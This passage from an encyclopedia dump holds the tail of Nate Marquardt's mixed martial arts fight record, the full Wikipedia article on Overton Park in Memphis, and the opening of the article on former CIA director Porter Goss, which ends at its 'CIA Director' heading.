| Austin, Texas, United States
|
|-
| Loss
| align=center| 29–9–2
| Chael Sonnen
| Decision (unanimous)
| UFC 109
|
| align=center| 3
| align=center| 5:00
| Las Vegas, Nevada, United States
|
|-
| Win
| align=center| 29–8–2
| Demian Maia
| KO (punch)
| UFC 102
|
| align=center| 1
| align=center| 0:21
| Portland, Oregon, United States
|
|-
| Win
| align=center| 28–8–2
| Wilson Gouveia
| TKO (knee and punches)
| UFC 95
|
| align=center| 3
| align=center| 3:10
| London, England
|
|-
| Win
| align=center| 27–8–2
| Martin Kampmann
| TKO (punches)
| UFC 88
|
| align=center| 1
| align=center| 1:22
| Atlanta, Georgia, United States
|
|-
| Loss
| align=center| 26–8–2
| Thales Leites
| Decision (split)
| UFC 85
|
| align=center| 3
| align=center| 5:00
| London, England
|
|-
| Win
| align=center| 26–7–2
| Jeremy Horn
| Submission (guillotine choke)
| UFC 81
|
| align=center| 2
| align=center| 1:37
| Las Vegas, Nevada, United States
|
|-
| Loss
| align=center| 25–7–2
| Anderson Silva
| TKO (punches)
| UFC 73
|
| align=center| 1
| align=center| 4:50
| Sacramento, California, United States
|
|-
| Win
| align=center| 25–6–2
| Dean Lister
| Decision (unanimous)
| UFC Fight Night: Evans vs. Salmon
|
| align=center| 3
| align=center| 5:00
| Hollywood, Florida, United States
|
|-
| Win
| align=center| 24–6–2
| Crafton Wallace
| Submission (rear-naked choke)
| Ortiz vs. Shamrock 3: The Final Chapter
|
| align=center| 2
| align=center| 1:14
| Hollywood, Florida, United States
|
|-
| Win
| align=center| 23–6–2
| Joe Doerksen
| Decision (unanimous)
| UFC 58
|
| align=center| 3
| align=center| 5:00
| Las Vegas, Nevada, United States
|
|-
| Win
| align=center| 22–6–2
| Ivan Salaverry
| Decision (unanimous)
| UFC Ultimate Fight Night
|
| align=center| 3
| align=center| 5:00
| Las Vegas, Nevada, United States
|
|-
| Win
| align=center| 21–6–2
| Izuru Takeuchi
| Submission (rear-naked choke)
| Pancrase: Spiral 4
|
| align=center| 3
| align=center| 2:19
| Yokohama, Japan
|
|-
| Win
| align=center| 20–6–2
| Kazuo Misaki
| Decision (unanimous)
| Pancrase: Brave 10
|
| align=center| 3
| align=center| 5:00
| Tokyo, Japan
|
|-
| Draw
| align=center| 19–6–2
| Eiji Ishikawa
| Draw
| Pancrase: Brave 6
|
| align=center| 3
| align=center| 5:00
| Tokyo, Japan
|
|-
| Loss
| align=center| 19–6–1
| Ricardo Almeida
| Submission (guillotine choke)
| Pancrase - Hybrid 10
|
| align=center| 1
| align=center| 4:53
| Tokyo, Japan
|
|-
| Win
| align=center| 19–5–1
| Yuji Hisamatsu
| Decision (unanimous)
| Pancrase - Hybrid 8
|
| align=center| 2
| align=center| 5:00
| Osaka, Japan
|
|-
| Win
| align=center| 18–5–1
| Steve Gomm
| TKO (submission to punches)
| IFC: Global Domination
|
| align=center| 1
| align=center| 3:28
| Denver, Colorado, United States
|
|-
| Loss
| align=center| 17–5–1
| Keiichiro Yamamiya
| Decision (unanimous)
| Pancrase - 2003 Neo-Blood Tournament Second Round
|
| align=center| 3
| align=center| 5:00
| Tokyo, Japan
|
|-
| Win
| align=center| 17–4–1
| Izuru Takeuchi
| KO (punches)
| Pancrase - Hybrid 3
|
| align=center| 1
| align=center| 1:29
| Tokyo, Japan
|
|-
| Win
| align=center| 16–4–1
| Kiuma Kunioku
| KO (flying knee)
| Pancrase: Spirit 9
|
| align=center| 3
| align=center| 4:36
| Tokyo, Japan
|
|-
| Loss
| align=center| 15–4–1
| Izuru Takeuchi
| Decision (unanimous)
| Pancrase: Spirit 7
|
| align=center| 3
| align=center| 5:00
| Tokyo, Japan
|
|-
| Win
| align=center| 15–3–1
| Seiki Ryo
| Technical Submission (armbar)
| Pancrase: 2002 Neo-Blood Tournament Second Round
|
| align=center| 1
| align=center| 1:37
| Tokyo, Japan
|
|-
| Win
| align=center| 14–3–1
| Kazuo Misaki
| TKO (elbow injury)
| Pancrase: Spirit 3
|
| align=center| 1
| align=center| 0:29
| Tokyo, Japan
|
|-
| Loss
| align=center| 13–3–1
| Kiuma Kunioku
| Decision (majority)
| Pancrase: Proof 7
|
| align=center| 3
| align=center| 5:00
| Yokohama, Japan
|
|-
| Win
| align=center| 13–2–1
| Yuji Hoshino
| Submission (triangle choke)
| Pancrase: Proof 6
|
| align=center| 3
| align=center| 2:13
| Tokyo, Japan
|
|-
| Loss
| align=center| 12–2–1
| Gil Castillo
| Decision (unanimous)
| IFC WC 14
|
| align=center| 5
| align=center| 5:00
| Friant, California, United States
|
|-
| Win
| align=center| 12–1–1
| Masaya Kojima
| Submission (armbar)
| Pancrase: Proof 3
|
| align=center| 1
| align=center| 1:45
| Tokyo, Japan
|
|-
| Win
| align=center| 11–1–1
| Hikaru Sato
| Submission (rear-naked choke)
| Pancrase: Proof 2
|
| align=center| 1
| align=center| 1:53
| Osaka, Japan
|
|-
| Draw
| align=center|
| Kiuma Kunioku
| Draw (majority)
| Pancrase: Trans 7
|
| align=center| 1
| align=center| 20:00
| Tokyo, Japan
|
|-
| Win
| align=center| 10–1
| Shonie Carter
| Decision (unanimous)
| Pancrase: 2000 Anniversary Show
|
| align=center| 2
| align=center| 3:00
| Yokohama, Japan
|
|-
| Win
| align=center| 9–1
| Kiuma Kunioku
| Decision (unanimous)
| Pancrase: 2000 Anniversary Show
|
| align=center| 1
| align=center| 10:00
| Yokohama, Japan
|
|-
| Win
| align=center| 8–1
| Daiju Takase
| KO (knee)
| Pancrase: Trans 4
|
| align=center| 2
| align=center| 1:30
| Tokyo, Japan
|
|-
| Win
| align=center| 7–1
| Anthony Washington
| TKO (submission to punches)
| Ring Of Fire 1
|
| align=center| 1
| align=center| 3:01
| Denver, Colorado, United States
|
|-
| Loss
| align=center| 6–1
| Genki Sudo
| Submission (armbar)
| Pancrase: Breakthrough 11
|
| align=center| 1
| align=center| 13:31
| Yokohama, Japan
|
|-
| Win
| align=center| 6–0
| David Harris
| Submission (rear-naked choke)
| Bas Rutten Invitational 4
|
| align=center| 1
| align=center| 15:01
| Littleton, Colorado, United States
|
|-
| Win
| align=center| 5–0
| Josh Groves
| Submission (triangle choke)
| Bas Rutten Invitational 4
|
| align=center| 1
| align=center| 1:49
| Littleton, Colorado, United States
|
|-
| Win
| align=center| 4–0
| Yves Edwards
| Submission (heel hook)
| Bas Rutten Invitational 4
|
| align=center| 1
| align=center| 3:04
| Littleton, Colorado, United States
|
|-
| Win
| align=center| 3–0
| Jose Garcia
| Submission (rear-naked choke)
| Rumble in the Rockies
|
| align=center| 1
| align=center| 3:32
| Denver, Colorado, United States
|
|-
| Win
| align=center| 2–0
| Josh Medina
| Submission (arm-triangle choke)
| Rumble in the Rockies
|
| align=center| 1
| align=center| 0:27
| Denver, Colorado, United States
|
|-
| Win
| align=center| 1–0
| Mike Lee
| Submission (rear-naked choke)
| World Vale Tudo Federation - Durango
|
| align=center| 2
| align=center| 2:13
| Durango, Colorado, United States
|
See also
List of Strikeforce alumni
List of male mixed martial artists
List of Pancrase champions
References
External links
Nate Marquardt fighter profile from UFC
1979 births
American jujutsuka
American male mixed martial artists
American practitioners of Brazilian jiu-jitsu
People awarded a black belt in Brazilian jiu-jitsu
Mixed martial artists utilizing jujutsu
Mixed martial artists utilizing karate
Mixed martial artists utilizing pankration
Mixed martial artists utilizing Brazilian jiu-jitsu
American sportspeople in doping cases
Doping cases in mixed martial arts
Living people
Middleweight mixed martial artists
Mixed martial artists from Wyoming
People from Lander, Wyoming
Christians from Wyoming
Pancrase champions
Strikeforce (mixed martial arts) champions
Ultimate Fighting Championship male fighters
|
5068054
|
https://en.wikipedia.org/wiki/Overton%20Park
|
Overton Park
|
Overton Park may also refer to the U.S. Supreme Court case, Citizens to Preserve Overton Park v. Volpe
Overton Park is a large, public park in Midtown Memphis, Tennessee. The park grounds contain the Memphis Brooks Museum of Art, Memphis Zoo, a 9-hole golf course, the Memphis College of Art, Rainbow Lake, Veterans Plaza, the Greensward, and other features. The Old Forest Arboretum of Overton Park, one of the few remaining old growth forests in Tennessee, is a natural arboretum with labeled trees along trails.
History
The property, once known locally as Lea's Woods, was purchased by Memphis on November 14, 1901, for $110,000 (); it was located along the city's eastern and northern boundary at that time. Overton Park was designed by landscape architect George Kessler as part of a comprehensive plan that also included Riverside Park (later M.L. King Riverside Park) and the Memphis Parkway System. The planning began in 1901, and Overton Park was established in 1906. The park is named in honor of John Overton, a co-founder of Memphis. Overton's name was selected in a competition to name the new park conducted by the Evening Scimitar, a local newspaper; the three choices in the voting were Memphis founding fathers Andrew Jackson, Overton, and James Winchester. The official naming occurred on July 25, 1902.
In the 1960s and 1970s Overton Park was the subject of controversy when 26 of its were slated by highway planners to be demolished to build Interstate 40 through the park to make it easier for suburban commuters to get to downtown. A small number of residents of midtown formed a group known as Citizens to Preserve Overton Park, and challenged the plan in court. Ultimately, the United States Supreme Court ruled in their favor in the landmark case Citizens to Preserve Overton Park v. Volpe.
Nevertheless, the City of Memphis and Tennessee Department of Transportation continued to propose a number of alternatives for routing Interstate 40 through Overton Park, including building the highway in a tunnel, or in a deep trench. In 1978, Citizens to Preserve Overton Park successfully nominated the park to the National Register of Historic Places, thus guaranteeing that without approval from the U.S. Department of the Interior, Federal funding could not be used for projects that damaged the park's historic integrity. The Memphis Commercial Appeal called the National Registration the "final nail in the coffin" of efforts to route Interstate 40 through Overton Park.
Beginning in June 1974, the road system within the interior of Overton Park was gradually closed to motorized vehicles on weekends and holidays, which were called "People's Days". Although initially there were some objections, the new policy gained popularity, and the closures were made permanent on April 13, 1987, except for official vehicles.
When the entirely white Hein Park community walled off access to Overton Park through West Drive, predominantly black neighbors from across Jackson Avenue sued under the Civil Rights Act of 1866. In 1981 a narrowly divided U.S. Supreme Court found the barrier was legal, although dissenting Justice Thurgood Marshall admonished that "a group of white citizens has decided to act to keep Negro citizens from traveling through their urban "utopia" and the city has placed its seal of approval on the scheme."
Overton Park was selected for inclusion in the 2009 Landslide Program sponsored by The Cultural Landscape Foundation. This program "spotlights great places designed by seminal and regionally influential landscape figures, which are threatened with change."
By vote of the Memphis City Council on December 6, 2011, the nonprofit Overton Park Conservancy assumed management of of Overton Park. The 10-year agreement covers the East Picnic Area, Greensward, Formal Gardens, Old Forest State Natural Area, and Veteran's Plaza. The Levitt Shell, Memphis Brooks Museum of Art, Memphis College of Art, Memphis Zoo, and the Overton Park Golf Course are managed independently.
Brooks Museum of Art
The Brooks Museum is a privately funded, nonprofit art museum located in Overton Park. Founded in 1916, the Brooks Museum is the oldest and largest art museum in the state of Tennessee.
The facility consists of 29 galleries, art classrooms, a print study room with over 4,500 works of art on paper, a research library with over 5,000 volumes, and an auditorium. The collection has over 7,000 works of art, including paintings, sculptures, drawings, prints, photographs, and examples of the decorative arts.
In 2017, the Brooks Museum announced that they will be relocating to a facility in downtown Memphis.
Levitt Shell
Overton Park also includes the famous Shell theater, where Elvis Presley gave his first paid concert on July 30, 1954.
The Overton Park Shell was built in 1936 by the City of Memphis and the Works Progress Administration for $11,935, as part of the New Deal. Designed by architect Max Furbringer, it was modeled after similar shells in Chicago, New York, and St. Louis. The WPA built 27 band shells; the Overton Park Shell is one of only a few that still remain. After various changes in ownership, the Shell was renamed in 2007 as the Levitt Shell at Overton Park and a large-scale renovation underwritten by the Levitt Foundation was begun. The renovation was conducted by Memphis firm Askew Nixon Ferguson Architects with state-of-the-art audio and visual design. With the completion of the renovations on September 8, 2008, free concerts are now once again held in the Shell.
Memphis College of Art
Memphis College of Art is a small, private college of art and design located in Overton Park. It offers Bachelor of Fine Arts, Master of Fine Arts, Master of Arts in Art Education and Master of Arts in Teaching degrees. Some of the majors include graphic design, drawing, painting, printmaking, book arts, computer arts, photography, animation, and illustration. Founded in 1936, it moved into the Overton Park facilities in February, 1959. There are around 450 students each year, with 350 being undergraduate and 100 being graduate students. It is accredited by the Commission on Colleges of the Southern Association of Colleges and Schools and the National Association of Schools of Art and Design. Memphis College of Art provides a rigorous curriculum in an intimate, diverse community. It has enabled generations of leading artists, designers and educators to flourish professionally and contribute valuable ideas to society. Unfortunately, due to economic problems, as of October, 2017, the college is no longer enrolling new students, and will close after graduating the present student body.
Memphis Zoo
Overton Park Zoo (now named the Memphis Zoo) began in 1906, when a resident of Memphis couldn't keep his pet black bear in his backyard. He had it put in a pen in the park, which attracted many people, inspiring the idea to place more animals on display. The Memphis Zoo is now one of the largest in the United States, attracting 1 million visitors per year. The zoo houses two pandas, who are local celebrities, as well as three polar bears, brought in to the Northwest Passage exhibition which opened in March 2006.
The Memphis Zoo is home to more than 3,500 animals representing over 500 different species. The Zoo has been a major tenant of Overton Park for more than 100 years. The city-owned land currently designated to the Zoo was defined by the Overton Park master plan in 1988. The Zoo is set on , of which approximately are developed.
In 2008, the Memphis Zoo was ranked "#1 Zoo in the U.S." by TripAdvisor.com. In independent surveys commissioned by TripAdvisor, the Memphis Zoo scored a 90 percent overall satisfaction score, almost 25 percent higher than the national zoo average.
The Zoo has completed over $77 million for renovation and expansion since the early 1990s. The Zoo's animal inhabitants reside in one-of-a-kind exhibitry, such as Northwest Passage and CHINA - home to giant pandas Ya Ya and Le Le. The Memphis Zoo is an accredited member of the Association of Zoos & Aquariums (AZA).
In February, 2008, the Memphis Zoo cleared of old growth forest in the Old Forest Arboretum at Overton Park in order to begin construction of the Zoo's new Teton Trek exhibit. The Teton Trek exhibit will feature animals native to the Greater Yellowstone Ecosystem such as grizzly bears, elk, gray wolves, trumpeter swans and sandhill crane.
The Zoo's decision to clear old growth forest to build the Teton Trek exhibit has been criticized by Citizens to Preserve Overton Park and Park Friends Inc, who subsequently pursued a successful, 16-month campaign to have the Arboretum designated as a State Natural Area by the Tennessee General Assembly.
The Zoo's conservation department's mission statement is "To use science and technology for greater understanding of the natural world's ecosystems, to preserve the biodiversity of our plants and animals and to educate the public on conservation priorities."
Overton Golf Course
The 9-hole Overton Park Golf Course is located in the southwestern part of Overton Park. It is a 2,222-yard, par 34 course with 3 sets of teeboxes for different levels of golfing experience. Built in 1926, the Abe Goodman Golf Clubhouse is a Tudor-styled, brick building with a patio.
Outdoor recreational areas
Over one half of the area of Overton Park is dedicated to general outdoor recreation and/or environmental preservation. Activities include picnicking, jogging, hiking, nature study and some team sports. An off-leash area is open for dogs. These areas are under management by the Overton Park Conservancy.
Dog park
Overton Bark, a fenced-in, dog park, is located to the southeast of the Greensward; it opened in June 2012. Separate areas are provided for large and small dogs, and water is available. It also includes benches for owners to sit on and dog to play around.
Formal Gardens
The walkways, benches, and garden beds of the Formal Gardens extend from Morrie Moss Lane, on the western boundary of Overton Park, to Veterans Plaza; they were established in 1904–05. The gardens present a colorful array of seasonal flowers within a background of scattered evergreen and deciduous trees; the central portion of the gardens is surrounded by Crepe myrtles. Although the composition of the beds has varied over time, the layout has remained basically the same. The Clara Conway Memorial Pergola was built in conjunction with the Formal Gardens to honor Clara Conway, a distinguished Memphis educator. Regrettably, the Memorial was destroyed in a 1936 storm, but residents still associate Conway's name with the Formal Gardens.
Greensward
Located in Overton Park and bounded by Veterans Plaza, Rainbow Lake, the Memphis Zoo, and the Golf Course, the Greensward is one of the largest open areas () in Memphis with no designated purpose other than outdoor recreation. It provides a safe place to play frisbee and soccer, jog, picnic, make music, ride bikes, romp with dogs, fly kites, and just hang out. There are no predetermined locations for activities; users just stake a temporary claim to unoccupied areas and have fun. People of all ages use the Greensward. A portion of the Greensward is used for overflow parking for the Memphis Zoo on busy days.
In March 2009, the public became aware of a plan by the City of Memphis, Tennessee Engineering Division, under the name "Lick Creek Reroute," to reduce flooding in the Lick Creek watershed by diverting floodwater from the main channel of that stream—which flows through Overton Park—into a multi-acre detention basin in the Greensward. The detention basin would slope downward to a maximum depth of approximately , and is estimated by the City Government to be likely to be inundated by floodwater some five to seven times each year. The City estimated the cost of this project at some $4 million. Citizens to Preserve Overton Park opposes the proposed plan on the grounds that it would irreparably damage the park's value to the residents of Memphis, Tennessee. The City Government asserts that the public will continue to be able to enjoy the park, and that the slope of the basin will barely be noticeable to park users.
On June 9, 2009, the City of Memphis, Tennessee decided it would not proceed with the plan for a detention basin in the Greensward. An engineer with the city was quoted as saying, "We think it was an appropriate plan, but we've shelved it." Instead, the city will explore two other options, one involving part of the park's golf course, the other involving construction of a berm on another part of the park grounds.
Old Forest Arboretum
The Old Forest Arboretum () is a forest tract and natural arboretum located on the east side of Overton Park. It is open to the public daily without charge. The Old Forest is on the National Register of Historic Places and includes over 300 plant varieties. Walking trails are maintained within the area, and markers identify 32 tree species.
Tennessee State Natural Area
On June 8, 2011, of the Aboretum were designated as the "Old Forest State Natural Area" by an act of the Tennessee General Assembly. The Natural Areas Program is run by the Tennessee Department of Environment and Conservation, while the 82 natural areas themselves are often not TDEC property and are generally managed through cooperative agreements with other agencies and organizations. The bill creating the State Natural Area originally designated for protection. To ease opposition from former Memphis Mayor A C Wharton and zoo officials, of forest adjacent to the zoo were removed from the protective area.
Picnic areas
An East Picnic Area (about ) is located along the eastern boundary of Overton Park. Numerous picnic tables are located beneath a nearly continuous canopy of mature oaks. The "Picnic Pavilion" is centrally located within this area; it was designed by George Kessler and built in 1904. It is the oldest surviving facility in Overton Park. The Picnic Pavilion is wood framed with an elevated floor; it is about 60 feet (18.3 m) in diameter and has a hexagonal shape.
Scattered picnic tables are located along the borders of the Greensward and Veterans Plaza.
Playgrounds
There are two publicly accessible playgrounds in Overton Park; one in the East Picnic Area and another to the southeast of the Greensward. The first playground in Overton Park was built in 1911; it was the first publicly accessible playground in Memphis.
Rainbow Lake
Rainbow Lake is a concrete-lined lake forming the eastern boundary of the Greensward. This lake has a curvilinear shape and has a water cascade on its east side. A sidewalk completely goes around the lake. Its name comes from the rainbow effect created by a series of spray-type fountains (no longer present) installed in the lake in 1929. It is the only remaining water feature from George Kessler's original plan.
Veterans Plaza
Veterans Plaza contains memorials to the veterans of Memphis and Shelby County who were killed defending the freedom of the United States. It is located in Overton Park just to the south of the Memphis Zoo and to the west of the Greensward. The area is home to a collection of memorials: World War I (established 1926 and 1932), World War II (2001), Korean War (2003), Vietnam War (2003), and Desert Storm (2003). A plaque providing the history of Veterans Plaza states that "... through these memorials we pay honor to 1,525 Shelby County veterans who were killed in the 20th and 21st century wars." An adjoining plaque provides commendation for Pete Dugan, a World War II veteran, "... honoring his steadfast commitment to the cause of Veterans Plaza in Overton Park."
The Doughboy statue, which is the hallmark of the area, is one of the World War I memorials; it was made in 1926 of copper from pennies that were collected by local school children. The statue was designed and constructed by sculptor Nancy Hahn at a cost of $15,000; it was sponsored by Daughters of the American Revolution. The "Memory Grove" Memorial was created in 1932 by the American War Mothers (Memphis Chapter No. 1) to honor their sons killed in World War I. The bronze plaque has 27 names, which also appear in the Shelby County list on the pedestal of the nearby Doughboy statue. The Memory Grove Memorial was initially located on the south boundary of Overton Park within view of Poplar Avenue; it was later moved to Veterans Plaza. A statue of Margaret Polk, the namesake of the Memphis Belle, honors the B-17 bomber and its crew; the memorial was unveiled in October 2011 and was sponsored by The Memphis Belle Memorial Association.
Memorials for World War II, Korean War, Vietnam War, and Desert Storm consist of two white limestone walls with bronze panels bearing the names of the Shelby County war dead. In addition, a series of five bronze panels provide detailed information on the Korean War. Flags displayed in Veterans Plaza include the American Flag, the Tennessee State Flag, and the POW/MIA Flag.
Memorial services are often held in Veterans Plaza in observance of notable dates, such as Memorial Day, Veterans Day, and Pearl Harbor Day.
Memorials
A number of memorials honoring Memphians for their meritorious service to the community are located within Overton Park.
Higbee Memorial (located just west of Veterans Plaza): It honors Jenny M. Higbee as a distinguished Memphis educator. Built in 1908, it is the oldest memorial in Overton Park. It was moved to its current location around 1956 to make way for the new Memphis College of Arts building.
J.T. Willingham Fountain (south of Brooks Museum; built 1917) honors a long-term Memphis Park Commission member, who served at least one term as chairman. It consists of six columns in a hexagonal pattern, concrete benches, and a drinking fountain.
Bell Tower (located just south of Memphis College of Arts): a 1930 memorial to Judge L. B. McFarland, one of the original members of the Memphis Park Commission.
E.H. Crump Statue (located at southeastern park entrance; built 1957): Crump was Memphis Mayor from 1910 through 1915 and U.S. Representative in 1930.
Notable bygone features
The Main Pavilion was the principal gathering place in Overton Park from its construction in 1902 until it was damaged beyond repair by a storm in 1936. It was the first building built in Overton Park. The Formal Garden and Conway Memorial were later built in association with the Main Pavilion, which was located at the east entrance to the Formal Garden. Frequent public dances, concerts, and civic events were held at the Pavilion. One of the best attended presentations was when Charles Lindbergh spoke on the future of aviation on October 5, 1927, as part of the "Lindbergh Tour". The Pavilion had an observation tower providing scenic views of the surrounding landscape. After its demise, visitor use shifted to the recently constructed Overton Park Shell.
In 1914, the Japanese Garden was built around an existing pond in Overton Park, where the Memphis College of Arts is currently located. It was a gift from former Memphis Park Commissioner Robert Galloway. George Kessler, who designed Overton Park, also designed the Japanese Garden, which included pagodas, an arched bridge to a central island, and many decorative sculptures. This area was a popular and highly photographed feature of Overton Park. After the attack on Pearl Harbor, the Garden was severely damaged by vandalism. Park officials decided that rather than making repairs the structures would be removed, which began on January 2, 1942. A fountain was installed in the redesigned pond, which was retained until construction began on the Memphis College of Arts campus.
Donated by Duke C. Bower, the Bower Wading Pool complemented the summer activities at Overton Park from 1913 until the 1970s. It was filled in during an expansion of the playground in 1979.
See also
List of contemporary amphitheatres
References
Neighborhoods in Memphis, Tennessee
Parks in Memphis, Tennessee
Works Progress Administration in Tennessee
1906 establishments in Tennessee
Protected areas of Shelby County, Tennessee
Historic districts on the National Register of Historic Places in Tennessee
National Register of Historic Places in Memphis, Tennessee
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https://en.wikipedia.org/wiki/Porter%20Goss
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Porter Goss
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Porter Johnston Goss (; born November 26, 1938) is an American politician and government official who served as the head of the Central Intelligence Agency from 2004 to 2006. He was the last Director of Central Intelligence (DCI) from 2004 to 2005, then became the first Director of the Central Intelligence Agency following the passage of the 2004 Intelligence Reform and Terrorism Prevention Act, which abolished the DCI position and replaced it with the Director of National Intelligence on December 17, 2004
Before taking over the CIA, Goss was a Republican member of the U.S. House of Representatives from Florida's 14th congressional district from 1989 to 2004. His district, numbered as the 13th District from 1989 to 1993, included Fort Myers, Naples and part of Port Charlotte. He served as Chairman of the House Permanent Select Committee on Intelligence from 1997 to 2004, was a co-sponsor of the USA PATRIOT Act and was a co-chair of the Joint 9/11 Intelligence Inquiry.
Goss resigned as Director of the CIA on May 5, 2006, in a sit-down press conference with President George W. Bush from the Oval Office. On May 8, Bush nominated U.S. Air Force General Michael Hayden to be Goss's successor.
Education and early CIA career
Goss was born in Waterbury, Connecticut, the son of Virginia Holland (née Johnston) and Richard Wayne Goss, who was an executive of the Scovill Manufacturing Company (a corporation controlled by the Goss family). He attended Camp Timanous in Raymond, Maine and was educated at the Fessenden School. In 1956, he graduated from the Hotchkiss School in Lakeville, Connecticut.
Goss graduated from Yale University in 1960 with a Bachelor of Arts in ancient Greek. (Goss also speaks Spanish and French.) At Yale, he was in Timothy Dwight College and he was a member of Book and Snake, a secret society. He was a member of the Psi Upsilon fraternity alongside William H. T. Bush, the uncle of President George W. Bush, and John Negroponte, who served as an ambassador for George H. W. Bush and George W. Bush, and as Goss's superior in the post of Director of National Intelligence from 2005 to 2006. Negroponte solicited Goss's assistance, while Goss was Chairman of the House Intelligence Committee, to get the position as U.S. ambassador to the United Nations in the first term of the second Bush administration.
In his junior year at Yale, Goss was recruited by the Central Intelligence Agency. He spent much of the 1960s—roughly from 1960 until 1971—working for the Directorate of Operations, the clandestine services of the CIA. There he first worked in Latin America and the Caribbean and later in Europe. The full details are not known due to the classified nature of the CIA, but Goss says he has worked in Haiti, Santo Domingo, and Mexico.
Goss, who has said he has recruited and trained foreign agents, worked in Miami for much of the time. Goss was involved in the Cuban Missile Crisis in 1962, telling The Washington Post in 2002 that he had done some "small-boat handling" and had "some very interesting moments in the Florida Straits".
Towards the end of his career as a CIA officer, Goss was transferred to Europe, where, in 1970, he collapsed in his London hotel room because of a blood infection in his heart and kidneys. Fox News reported that Goss believes he was poisoned.
Goss first retired from the CIA in 1971, and moved to Sanibel, Florida.
After his return to CIA service as the presidentially-appointed Director (DCI/DCIA), Goss again retired from the CIA on May 5, 2006.
Government career
After his first retirement from the CIA, Goss moved to Sanibel, a resort town off the coast of Fort Myers. In 1974, he was elected to the City Council and then was elected mayor by the council. In 1983, Bob Graham, then Governor of Florida, appointed Goss to the Lee County Board of Commissioners.
In 1988 Goss ran for Congress in what was then the 13th congressional district of Florida, which was located on the Gulf Coast and stretched from Sarasota to Naples. The seat was vacated by Connie Mack III when he ran successfully for the U.S. Senate. In the Republican primary—the real contest in this heavily Republican district—Goss's main opponent was former congressman Louis A. "Skip" Bafalis, who had represented much of the area for 10 years before making an unsuccessful bid for governor (the 13th had been carved out of the western portion of Bafalis' territory after the 1980 census).
Bafalis was initially heavily favored due to his name recognition. However, he garnered only 29% of the vote to Goss's 38%, largely due to the fact that Goss's campaign was much better financed. Goss went on to defeat Bafalis handily in the runoff election. In the general election, Goss faced the former first president of Common Cause, Jack T. Conway. Goss won in a rout, taking 71 percent of the vote. He was easily re-elected seven times from this district, which was renumbered as the 14th District after the 1990 census. The district was so heavily Republican that Goss faced a Democrat only one other time, in 1996; he won with 73 percent of the vote. He was unopposed for reelection in 1990, 1994, 1998, and 2002, and faced only third-party opposition in 1992 and 2000.
In Congress, Goss had a mostly conservative voting record. However, he tended to be much more supportive of environmental legislation than most of his fellow Republicans. For instance, he supported the Kyoto Protocol and strengthening the Environmental Protection Agency. Most of his major legislation has been intelligence authorization bills, with some local constituent-services bills.
The legislation he sponsored included a constitutional amendment to establish term limits limiting representatives to no more than three consecutive terms of four years. Major bills sponsored by Goss include a bill to limit congressional pay raises to no more than Social Security cost-of-living adjustments (unpassed), The Public Interest Declassification Act of 1999 (unpassed), and the USA PATRIOT Act.
He served in Congress for 16 years until his appointment by President George W. Bush to be Director of the Central Intelligence Agency (CIA). While in the House, Goss served as chair of the House Intelligence Committee from 1997 until 2005 and the vice-chairman of the House Rules Committee. He also helped establish and served on the Homeland Security Committee. As a congressman, Goss consistently and emphatically defended the CIA and supported strong budget increases for the Agency, even during a time of tight budgets and Clintonian slashes to other parts of the intelligence budgets. In mid-2004, Goss took a very strong position, during what had already been announced as his last congressional term, urging specific reforms and corrections in the way the CIA carried out its activities, lest it become "just another government bureaucracy".
Career timeline
Ripon Society
Council on Foreign Relations
CIA employee 1962–1971
Mayor Sanibel, FL (1975-1977, 1981–1982)
U.S. Congressman, Florida 14th (January 3, 1989 to September 23, 2004; numbered as 13th 1989–1993, resigned)
CIA Director September 22, 2004 to May 5, 2006 (resigned)
Intelligence inquiry: September 11, 2001
In August 2001, Goss, Senator Bob Graham (D-FL), and Senator Jon Kyl (R-AZ) visited Islamabad, Pakistan. Meetings were held with President Pervez Musharraf and with Pakistan's military and intelligence officials including the head of Pakistan's Inter Services Intelligence (ISI) General Mahmud Ahmed, as well as with the Afghan ambassador to Pakistan, Abdul Salam Zaeef. On the morning of September 11, 2001, Goss and Graham were having breakfast with General Ahmad. Ahmad's network had ties to Osama bin Laden and directly funded, supported, and trained the Taliban. They met with Musharraf and Zaeef on the 27th. As reported by Agence France Presse on August 28, 2001, Zaeef assured the US delegation that the Taliban would never allow bin Laden to use Afghanistan to launch attacks on the US or any other country. Goss fully defended the CIA and the Bush administration. With the White House and Senator Graham, his counterpart in the Senate Intelligence Committee, Goss rebuffed calls for an inquiry in the weeks immediately following September11.
After growing pressure, Congress established the Joint Inquiry into Intelligence Community Activities before and after the Terrorist Attacks of September 11, 2001, a joint inquiry of the two intelligence committees, led by Graham and Goss. Goss and Graham made it clear that their goal was not to identify specific wrongdoing: Graham said the inquiry would not play "the blame game about what went wrong from an intelligence perspective", and Goss said, "This is not a who-shall-we-hang type of investigation. It is about where are the gaps in America's defense and what do we do about it type of investigation."
The Washington Post reported statements made by Goss on May 17, 2002. Goss said he was looking for "solutions, not scapegoats". He called the uproar over the President's Daily Brief of August 6, 2001, "a lot of nonsense". He also said, "None of this is news, but it's all part of the finger-pointing. It's foolishness." The Post also reported that Goss refused to blame an "intelligence failure" for September 11, preferring to praise the agency's "fine work". (Washington Post, May 18, 2002, "A Cloak But No Dagger; An Ex-Spy Says He Seeks Solutions, Not Scapegoats for 9/11")
The inquiry's final report was released in December 2002 and focused entirely on the CIA and FBI's activities, leaving out any information on the White House's activities. Ray McGovern, a 27-year veteran of the CIA turned Democratic political activist and a frequent commentator on intelligence issues, believed the report showed that Goss gave "clear priority to providing political protection for the president" when conducting the inquiry.
Goss publicly declared his opposition to the creation of an independent 9-11 Commission. A year later, he declined to open committee hearings into the Plame affair, saying: "Somebody sends me a blue dress and some DNA, I'll have an investigation."
Goss chiefly blames President Bill Clinton for the CIA failures. He confided in a reporter: "The one thing I lose sleep about is thinking what could I have done better, how could I have gotten more attention on this problem sooner." When asked whether he ever brought up his concerns with the administration, Goss claimed he had met three times with President Clinton to discuss "certain problems". The upshot? "He was patient and we had an interesting conversation but it was quite clear he didn't value the intelligence community to the degree President Bush does."
As Newsweek and CNN reported, in June 2004, while Chairman of the House Intelligence Committee, in the face of withering attacks by the Democrats against the Bush administration in a very tightly contested presidential and congressional election year, Goss defended the intelligence community and the Administration in decidedly partisan terms. During floor debate, fending off efforts by the Democrats in the House to cut the intelligence budget, Goss argued that Senator John Kerry (D-Mass.), the Democratic presidential nominee, did not appreciate the critical need for robust and sustained support for the CIA and the Intelligence Community. Goss noted a 1977 quote of Kerry's arguing for intelligence budget cuts and calling Kerry's proposals on nuclear security "dangerously naive".
CIA Director
